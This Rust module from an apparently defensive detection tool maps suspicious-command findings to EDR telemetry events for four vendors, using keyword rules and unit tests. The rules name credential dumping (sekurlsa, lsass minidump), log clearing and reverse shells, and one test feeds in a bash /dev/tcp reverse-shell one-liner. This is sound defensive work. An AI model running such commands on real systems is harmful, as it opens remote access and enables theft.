use std::collections::BTreeMap;
use clap::ValueEnum;
use serde::Deserialize;
use crate::model::{EdrMapping, Report};
const EMBEDDED: &str = include_str!("../data/edr-telemetry.json");
#[derive(Clone, Copy, Debug, PartialEq, Eq, ValueEnum)]
pub enum Vendor {
#[value(name = "crowdstrike", alias = "falcon", alias = "cs")]
CrowdStrike,
#[value(name = "defender", alias = "mde", alias = "msde")]
Defender,
#[value(name = "sentinelone", alias = "s1")]
SentinelOne,
#[value(name = "elastic", alias = "elastic-defend")]
Elastic,
#[value(name = "all")]
All,
}
const ALL_VENDORS: [Vendor; 4] = [
Vendor::CrowdStrike,
Vendor::Defender,
Vendor::SentinelOne,
Vendor::Elastic,
];
impl Vendor {
fn key(self) -> Option<&'static str> {
match self {
Vendor::CrowdStrike => Some("crowdstrike"),
Vendor::Defender => Some("defender"),
Vendor::SentinelOne => Some("sentinelone"),
Vendor::Elastic => Some("elastic"),
Vendor::All => None,
}
}
pub fn expand(self) -> Vec<Vendor> {
match self {
Vendor::All => ALL_VENDORS.to_vec(),
v => vec![v],
}
}
}
#[derive(Deserialize)]
struct EdrData {
note: String,
vendors: BTreeMap<String, String>,
classes: BTreeMap<String, ClassEntry>,
}
#[derive(Deserialize)]
struct ClassEntry {
#[allow(dead_code)]
label: String,
#[serde(flatten)]
vendors: BTreeMap<String, Vec<String>>,
}
const RULES: &[(&str, &[&str])] = &[
(
"process_access",
&[
"process access",
"eid 10",
"sekurlsa",
"readprocessmemory",
"lsass memory",
"memory of lsass",
"handle to lsass",
"minidump",
],
),
(
"log_clear",
&[
"1102",
"log cleared",
"log erase",
"audit log",
"wevtutil",
"clear-eventlog",
"clears the",
"vacuum",
],
),
("registry_set", &["registry", "eid 13", "run key", "asep"]),
(
"image_load",
&[
"image load",
"eid 7",
"eid 6",
"driver load",
"kernel module",
"kextload",
"kext load",
"insmod",
"modprobe",
" lkm",
"dll load",
],
),
(
"scheduled_task",
&[
"scheduled task",
"4698",
"schtasks",
"cron",
"launchd job",
"periodic script",
" at job",
"atrun",
],
),
(
"service_change",
&[
"service install",
"7045",
"sc.exe create",
"systemd",
"launchdaemon",
"launchctl",
"4697",
"new service",
],
),
(
"ps_script",
&["scriptblock", "4104", "amsi", "script block"],
),
(
"authentication",
&[
"logon",
"4624",
"4720",
"4732",
"4625",
"account created",
"member added",
],
),
(
"permission_change",
&[
"chmod",
"setmode",
"setflags",
"chattr",
"chflags",
"immutable",
"setextattr",
"quarantine",
"execute bit",
],
),
(
"network_connection",
&[
"connect",
"eid 3",
"socket",
"bind",
"listen",
"outbound",
"netlink",
"tcp/",
"networkextension",
"pf log",
"network connection",
"remote host",
"remote ip",
"reverse shell",
],
),
(
"file_write",
&[
"write()",
"create()",
"eid 11",
"file create",
"notify_write",
"notify_create",
"written",
"truncate",
"unlink",
"writes to",
"overwrit",
],
),
(
"file_access",
&[
"openat",
"notify_open",
"esf open",
"read by",
"reads",
" read()",
"read of",
"open of",
"opens ",
"access to",
],
),
(
"process_creation",
&[
"execve",
"eid 1",
"4688",
"notify_exec",
"process creation",
"process create",
"esf exec",
"shell process",
"spawn",
"memory-only",
"child process",
"interpreter",
"processrollup",
],
),
];
fn classify_line(line: &str) -> Option<&'static str> {
let l = line.to_lowercase();
for (class, pats) in RULES {
if pats.iter().any(|p| l.contains(p)) {
return Some(class);
}
}
None
}
fn classes_for(telemetry: &[String]) -> Vec<&'static str> {
let mut out: Vec<&'static str> = Vec::new();
for line in telemetry {
if let Some(c) = classify_line(line)
&& !out.contains(&c)
{
out.push(c);
}
}
if out.is_empty() {
out.push("process_creation");
}
out
}
pub fn annotate(report: &mut Report, vendors: &[Vendor]) -> String {
let data: EdrData =
serde_json::from_str(EMBEDDED).expect("embedded edr-telemetry.json must parse");
let mut wanted: Vec<Vendor> = Vec::new();
for v in vendors {
for e in v.expand() {
if !wanted.contains(&e) {
wanted.push(e);
}
}
}
for f in &mut report.findings {
let classes = classes_for(&f.telemetry);
let mut mappings: Vec<EdrMapping> = Vec::new();
for v in &wanted {
let Some(vkey) = v.key() else { continue };
let label = data
.vendors
.get(vkey)
.cloned()
.unwrap_or_else(|| vkey.to_string());
let mut events: Vec<String> = Vec::new();
for c in &classes {
if let Some(entry) = data.classes.get(*c)
&& let Some(evs) = entry.vendors.get(vkey)
{
for e in evs {
if !events.contains(e) {
events.push(e.clone());
}
}
}
}
if !events.is_empty() {
mappings.push(EdrMapping {
vendor: label,
events,
});
}
}
f.edr = mappings;
}
data.note
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn embedded_data_parses_and_covers_all_classes() {
let data: EdrData = serde_json::from_str(EMBEDDED).unwrap();
for (class, _) in RULES {
let entry = data
.classes
.get(*class)
.unwrap_or_else(|| panic!("class {class} missing from edr-telemetry.json"));
for vkey in ["crowdstrike", "defender", "sentinelone", "elastic"] {
assert!(
entry.vendors.get(vkey).is_some_and(|v| !v.is_empty()),
"class {class} missing vendor {vkey}"
);
}
}
}
#[test]
fn classifies_representative_lines() {
assert_eq!(
classify_line("ES_EVENT_TYPE_NOTIFY_EXEC of /bin/ps"),
Some("process_creation")
);
assert_eq!(
classify_line("Sysmon EID 3 (network) from powershell.exe"),
Some("network_connection")
);
assert_eq!(
classify_line("Sysmon EID 10 (Process Access) to lsass.exe"),
Some("process_access")
);
assert_eq!(
classify_line("ES_EVENT_TYPE_NOTIFY_OPEN of ~/.ssh/id_rsa"),
Some("file_access")
);
assert_eq!(
classify_line("Sysmon EID 13 (Registry Set) under ...\\Run"),
Some("registry_set")
);
assert_eq!(
classify_line("Security 1102 (audit log cleared)"),
Some("log_clear")
);
}
#[test]
fn empty_telemetry_defaults_to_process_creation() {
assert_eq!(classes_for(&[]), vec!["process_creation"]);
}
#[test]
fn tightened_patterns_avoid_known_false_matches() {
assert_eq!(
classify_line("outbound socket observed via a NetworkExtension flow / pf log"),
Some("network_connection")
);
assert_eq!(
classify_line("ES_EVENT_TYPE_NOTIFY_EXEC of /usr/bin/last reading utmpx"),
Some("process_creation")
);
assert_eq!(classify_line("read of /var/log/wtmp"), Some("file_access"));
assert_eq!(
classify_line("auditd USER_CMD / sudo log entry in /var/log/auth.log"),
None
);
}
#[test]
fn annotate_populates_and_dedups_events() {
use crate::kb;
let mac = kb::load(kb::Platform::MacosEs).unwrap();
let mut report = crate::analyzer::analyze("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1", &mac);
let note = annotate(&mut report, &[Vendor::All]);
assert!(!note.is_empty());
let f = report
.findings
.iter()
.find(|f| f.rule_id == "reverse-shell-devtcp")
.unwrap();
assert_eq!(f.edr.len(), 4, "all four vendors mapped");
let cs = f
.edr
.iter()
.find(|m| m.vendor.contains("CrowdStrike"))
.unwrap();
assert!(cs.events.iter().any(|e| e.contains("NetworkConnectIP4")));
let mut sorted = cs.events.clone();
sorted.sort();
sorted.dedup();
assert_eq!(sorted.len(), cs.events.len());
}
#[test]
fn single_vendor_maps_only_that_vendor() {
use crate::kb;
let win = kb::load(kb::Platform::WindowsSysmon).unwrap();
let mut report = crate::analyzer::analyze("whoami", &win);
annotate(&mut report, &[Vendor::Defender]);
let f = &report.findings[0];
assert_eq!(f.edr.len(), 1);
assert_eq!(f.edr[0].vendor, "Microsoft Defender for Endpoint");
assert_eq!(f.edr[0].events, vec!["DeviceProcessEvents"]);
}
#[test]
fn vendor_all_expands_to_four_unique() {
assert_eq!(Vendor::All.expand().len(), 4);
assert_eq!(Vendor::CrowdStrike.expand(), vec![Vendor::CrowdStrike]);
}
}